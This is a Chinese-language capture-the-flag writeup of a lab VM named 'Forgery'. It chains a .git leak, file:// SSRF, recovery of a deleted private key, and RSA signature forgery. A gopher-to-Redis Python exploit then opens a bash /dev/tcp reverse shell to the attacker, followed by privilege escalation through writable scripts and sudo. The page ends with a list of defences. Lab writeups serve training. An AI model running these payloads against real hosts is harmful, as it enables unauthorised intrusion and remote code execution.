群友靶机-Forgery-writeup 的文章封面
返回文章列表
Neuroblue writing

群友靶机-Forgery-writeup

从 .git 泄露到 file:// SSRF 读系统文件、git dangling blob 恢复私钥、RSA 签名伪造绕过白名单、gopher:// 灌 Redis 拿反向 shell、BanRestrict 覆写横向、sudo Python 提权。

image-20260621212206702

信息收集

服务发现

nmap -sT -p- --min-rate=10000 192.168.43.226
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Git 泄露

访问 http://192.168.43.226/.git/HEAD → 403。目录扫描发现 .git 目录存在但 Web 服务器拒绝直接访问。通过 githack/git-dumper 从 HTTP 层获取 git 仓库。

源码分析

仓库文件

文件说明
index.html前端浏览器界面
api.phpPHP API——接收 ?url=,RSA签名后推入Redis
handler/main.pyPython Worker——从Redis取URL,验签后 curl --url {url}
handler/public.pemRSA-4096 公钥

架构流程

浏览器 ──fetch──> api.php?url=...
  ├─ escapeshellarg(url)     ← ①单引号包裹
  ├─ RSA-SHA256签名           ← ②私钥(/var/www/private.pem)签名
  └─ lPush → Redis URLqueue
  
Python worker:
  ├─ brpop URLqueue
  ├─ pkcs1_15.verify(url, sig, pubkey)  ← ③验签
  └─ subprocess.run("curl -s --url {url}", shell=True) ← ④执行

漏洞利用

File:// SSRF — 读系统文件

api.phpescapeshellarg 只阻止 shell 注入,不阻止 curl 的 file:// 协议:

curl "http://192.168.43.226/api.php?url=file:///etc/passwd"

然后测试一系列敏感文件

/etc/passwd
/home/*/.ssh/id_rsa
/home/*/.ssh/authorized_keys
/etc/redis/redis.conf
/etc/ssh/sshd_config

如果web题目有文件读取的话,会额外读取它可能的源码文件

关键发现——yepian 用户空密码

yepian::1000:1000::/home/yepian:/bin/rbash

正常的密码行为 kali:x:1000:1000:kali,,,:/home/kali:/usr/bin/zsh 第二字段为 x,但 yepian 这里为空,空密码

SSH 尝试 — BanRestrict 拦截

读取 sshd_config

Match Group banned
    X11Forwarding no
    AllowTcpForwarding no
    ForceCommand bash /opt/BanRestrict

sshd_config 配置 PermitEmptyPasswords yes,但 yepian 被 Match Group banned 规则捕获。SSH 登录后执行 /opt/BanRestrict,打印封禁信息并退出。BanRestrict 同时泄露了关键信息:

git add private.pem
git commit -m "备份私钥"
git filter-branch --force --index-filter 'git rm ...' ...
rm -rf .git/refs/original
rm -rf .git/logs

私钥曾被提交但用 filter-branch 清理——git gc --prune 未执行,dangling objects 仍存在于 .git/objects/

Git 取证 — 恢复私钥

cd 192.168.43.226_git
git fsck --full --unreachable
unreachable blob  a6602366d7da9f05791091eb1829273b0ff62ec1
unreachable commit 2beafd018224a6060fe9a5b9180ab7dba67c0cf5
unreachable tree 9f008b5963c399ac6d1562c6435f9172d7188f42
git show a6602366d7da9f05791091eb1829273b0ff62ec1

输出 -----BEGIN PRIVATE KEY----- — 私钥恢复成功。

RSA 签名伪造 + Gopher SSRF → 命令执行

拿到私钥后,绕开 api.phpescapeshellarg 约束:自己签名恶意 URL → gopher:// 直接灌入 Redis URLqueue。

from Crypto.PublicKey import RSA
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
import json, base64, urllib.parse, requests

PRIVATE_KEY_PATH = "/tmp/private.pem"
TARGET = "http://192.168.43.226/api.php"
KALI_IP = "YOUR_IP"
KALI_PORT = 4444

# 反向shell命令(分号断开curl的--url参数)
cmd = f"bash -c 'bash -i >& /dev/tcp/{KALI_IP}/{KALI_PORT} 0>&1'"
malicious = f";{cmd};#"

# RSA签名
key = RSA.import_key(open(PRIVATE_KEY_PATH).read())
h = SHA256.new(malicious.encode())
sig = base64.b64encode(pkcs1_15.new(key).sign(h)).decode()

# Redis RESP协议 → gopher URL
payload = json.dumps({"id": "shell", "url": malicious, "sig": sig})
resp = f"*3\r\n$5\r\nLPUSH\r\n$8\r\nURLqueue\r\n${len(payload)}\r\n{payload}\r\n"
gopher = f"gopher://127.0.0.1:6379/_{urllib.parse.quote(resp, safe='')}"

requests.get(TARGET, params={"url": gopher})

Python worker 取出任务 → 验签通过 → subprocess.run("curl -s --url ;bash -c '...' ;#", shell=True) → 反向 shell 连接 Kali。

uid=65534(nobody) gid=65534(nogroup)

横向移动

BanRestrict 覆写 — 777 权限

nobody shell 中检查 /opt/BanRestrict

ls -la /opt/BanRestrict
# -rwxrwxrwx 1 root root 597 BanRestrict

所有人可写。直接覆盖为 shell:

echo -e '#!/bin/bash\nexec /bin/bash -i' > /opt/BanRestrict

SSH 登录 yepian

ssh yepian@192.168.43.226
# 密码:空

BanRestrict 这次执行的是 /bin/bash,直接进入交互 shell。

权限提升

sudo 枚举

sudo -l
(root) NOPASSWD: /usr/bin/python3 /opt/handler/main.py check *

最终代码分析

main.py 调用 CodeManager.check(path) → 遍历目录 → 读文件 → 打印路径/时间戳/MD5。 CodeManager.py 位于 /opt/handler/,该目录 group 为 devrwx

ls -la /opt/handler/
# drwxrwxr-x 3 root dev handler

利用 — 覆盖 main.py 执行 shell

cat > /opt/handler/main.py << 'EOF'
#!/usr/bin/python3
import pty
pty.spawn("/bin/bash")
EOF

sudo /usr/bin/python3 /opt/handler/main.py check

sudo 以 root 执行 main.py → 直接 pty.spawn("/bin/bash")root shell

Root Flag

id
# uid=0(root) gid=0(root)
cat /root/root.txt

攻击链总结

flowchart TD
    A["🔍 Git泄露<br/>源码 + public.pem"] --> B["📂 file:// SSRF<br/>读 /etc/passwd"]
    B --> C["👤 yepian 空密码<br/>SSH 被 BanRestrict 拦截"]
    C --> D["🔬 git fsck --unreachable<br/>恢复 private.pem"]
    D --> E["🔑 RSA 签名伪造<br/>shell 注入 URL"]
    E --> F["🐍 gopher:// SSRF<br/>灌 Redis URLqueue"]
    F --> G["💻 反向 shell<br/>nobody@Forgery"]
    G --> H["✏️ BanRestrict 777<br/>覆写为 /bin/bash"]
    H --> I["🔓 SSH yepian 登录"]
    I --> J["sudo python3 main.py check<br/>覆盖 CodeManager → root shell"]

漏洞清单

编号漏洞严重利用
V-01.git 目录泄露源码 + 私钥恢复
V-02curl file:// SSRF读系统文件
V-03yepian 空密码初始立足
V-04git filter-branch 未 gc严重私钥从 dangling object 恢复
V-05RSA签名 + gopher Redis注入严重命令执行
V-06BanRestrict 777 权限横向移动绕过
V-07sudo Python + 组可写目录严重权限提升

防御建议

  1. .git 目录在 Web 根目录 → Apache 配置 RedirectMatch 404 /\.git 或移出 DocumentRoot
  2. git filter-branch 后立即 git gc --prune=now,删除 dangling objects
  3. yepian 设置强密码,禁止空密码登录
  4. PermitEmptyPasswords no,即使允许也应有额外认证
  5. curl 禁用 file://gopher:// 协议:编译时 --disable-file --disable-gopher
  6. Redis 绑定 127.0.0.1 且加上 rename-command 禁用危险命令
  7. BanRestrict 权限 755,所有者 root
  8. sudo 白名单:/opt/handler/ 目录权限 755,root 所有;sudo 限定具体参数,不传 *

技巧沉淀

  • git —unreachable 恢复私钥:filter-branch + gc 不做 = 私钥残留
  • curl file:// SSRF:比 shell 注入更隐蔽,不用绕过 escapeshellarg
  • RSA 签名闭环打破:拿到私钥 = 可以自己签名任意 URL
  • gopher:// 灌 Redis:绕过 api.php 的单引号包裹,直接控制 worker 执行内容
  • 777 文件是免费的横向通路:nobody → yepian 无需 SUID
  • sudo Python + 组可写目录:覆盖入口脚本 main.pysudo 以 root 直接执行,无需通过 import 模块绕路

【欢迎加入QQ群一起交流】